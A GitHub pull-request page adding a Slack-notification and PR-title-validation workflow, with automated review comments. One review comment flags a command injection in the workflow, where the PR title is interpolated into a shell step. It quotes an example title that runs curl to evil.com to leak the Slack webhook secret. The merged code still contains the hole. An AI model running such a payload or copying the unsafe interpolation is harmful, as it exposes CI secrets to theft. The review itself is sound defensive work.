Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions .github/workflows/pr_slack_notify.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
name: Slack Pull Request Notification
on:
pull_request:
types: [opened]

jobs:
pr-title:
name: Validate PR Title
runs-on: ubuntu-latest
if: github.event_name == 'pull_request'

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant conditional check for event type

Low Severity

The if: github.event_name == 'pull_request' condition is redundant because the workflow is already configured to only trigger on pull_request events (lines 2-4). This condition will always evaluate to true when the workflow runs.

Fix in Cursor Fix in Web

permissions:
pull-requests: read
steps:
- uses: amannn/action-semantic-pull-request@v5
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
types: |
feat
fix
docs
style
refactor
perf
test
build
ci
chore
revert
requireScope: true
notify:
name: PR Slack Notification
runs-on: ubuntu-latest
steps:
- name: Escape PR title
id: pr_data
run: |
# Get the PR title and escape special characters for JSON (needed for Reverts Commits)
PR_TITLE='${{ github.event.pull_request.title }}'

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command injection via PR title in shell script

High Severity

The PR title is directly interpolated into the shell script using '${{ github.event.pull_request.title }}'. An attacker can create a PR with a title containing single quotes and shell commands (e.g., test'; curl http://evil.com?s=$SLACK_PULL_REQUEST_WEBHOOK_URL; echo ') to escape the string and execute arbitrary code. This can leak the SLACK_PULL_REQUEST_WEBHOOK_URL secret. The fix is to pass the title through an environment variable instead of direct interpolation.

Fix in Cursor Fix in Web

# Properly escape JSON special characters and quotes
ESCAPED_TITLE=$(echo "$PR_TITLE" | sed 's/\\/\\\\/g' | sed 's/"/\\"/g' | sed 's/\t/\\t/g' | sed 's/\n/\\n/g' | sed 's/\r/\\r/g')
echo "escaped_title=$ESCAPED_TITLE" >> $GITHUB_OUTPUT

- name: Notify Slack
uses: slackapi/slack-github-action@v2.1.0
with:
webhook-type: incoming-webhook
webhook: ${{ secrets.SLACK_PULL_REQUEST_WEBHOOK_URL }}
payload: |
text: "New PR: ${{ steps.pr_data.outputs.escaped_title }}\nBy: ${{ github.event.pull_request.user.login }}\nLink: ${{ github.event.pull_request.html_url }}"

30 changes: 0 additions & 30 deletions .github/workflows/pr_validation.yml

This file was deleted.

Loading